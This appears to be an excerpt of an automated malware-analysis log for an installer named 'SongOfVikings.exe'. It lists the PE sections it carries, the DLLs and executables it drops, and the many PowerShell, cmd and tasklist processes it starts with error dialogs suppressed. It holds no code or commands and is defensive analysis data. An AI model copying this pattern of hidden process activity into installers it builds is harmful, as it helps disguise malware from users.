Source: SongOfVikings.exe0.0.dr Static PE information: section name: LZMADEC
Source: SongOfVikings.exe0.0.dr Static PE information: section name: _RDATA
Source: SongOfVikings.exe0.0.dr Static PE information: section name: malloc_h
Source: vk_swiftshader.dll.0.dr Static PE information: section name: .00cfg
Source: vk_swiftshader.dll.0.dr Static PE information: section name: .gxfg
Source: vk_swiftshader.dll.0.dr Static PE information: section name: .retplne
Source: vk_swiftshader.dll.0.dr Static PE information: section name: _RDATA
Source: vulkan-1.dll.0.dr Static PE information: section name: .00cfg
Source: vulkan-1.dll.0.dr Static PE information: section name: .gxfg
Source: vulkan-1.dll.0.dr Static PE information: section name: .retplne
Source: vulkan-1.dll.0.dr Static PE information: section name: _RDATA
Source: ffmpeg.dll0.0.dr Static PE information: section name: .00cfg
Source: ffmpeg.dll0.0.dr Static PE information: section name: .gxfg
Source: ffmpeg.dll0.0.dr Static PE information: section name: .retplne
Source: ffmpeg.dll0.0.dr Static PE information: section name: _RDATA
Source: libEGL.dll0.0.dr Static PE information: section name: .00cfg
Source: libEGL.dll0.0.dr Static PE information: section name: .gxfg
Source: libEGL.dll0.0.dr Static PE information: section name: .retplne
Source: libEGL.dll0.0.dr Static PE information: section name: _RDATA
Source: libGLESv2.dll0.0.dr Static PE information: section name: .00cfg
Source: libGLESv2.dll0.0.dr Static PE information: section name: .gxfg
Source: libGLESv2.dll0.0.dr Static PE information: section name: .retplne
Source: libGLESv2.dll0.0.dr Static PE information: section name: _RDATA
Source: f1a1d769-375b-46b2-ad93-df5ca2abe3a4.tmp.node.5.dr Static PE information: section name: _RDATA
Source: db56a95c-619a-410d-ad51-8448947b0929.tmp.node.5.dr Static PE information: section name: _RDATA
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\StdUtils.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\nsis7z.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\vk_swiftshader.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\vulkan-1.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Programs\SongOfVikings\d3dcompiler_47.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\resources\elevate.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\db56a95c-619a-410d-ad51-8448947b0929.tmp.node Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\libGLESv2.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Programs\SongOfVikings\ffmpeg.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\f1a1d769-375b-46b2-ad93-df5ca2abe3a4.tmp.node Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\SongOfVikings.exe Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Programs\SongOfVikings\libEGL.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\ffmpeg.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\libEGL.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Programs\SongOfVikings\libGLESv2.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\SpiderBanner.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\System.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\d3dcompiler_47.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\f1a1d769-375b-46b2-ad93-df5ca2abe3a4.tmp.node Jump to dropped file
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\db56a95c-619a-410d-ad51-8448947b0929.tmp.node Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\LICENSE.electron.txt Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Programs\SongOfVikings\LICENSE.electron.txt Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\SongOfVikings.lnk Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\tasklist.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\tasklist.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\tasklist.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\tasklist.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\tasklist.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\tasklist.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\tasklist.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\tasklist.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3757 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2007 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3645
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 423
Source: C:\Users\user\Desktop\SongOfVikings.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\nsis7z.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\StdUtils.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\vk_swiftshader.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\vulkan-1.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\SongOfVikings\d3dcompiler_47.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\resources\elevate.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\db56a95c-619a-410d-ad51-8448947b0929.tmp.node Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\libGLESv2.dll Jump to dropped file
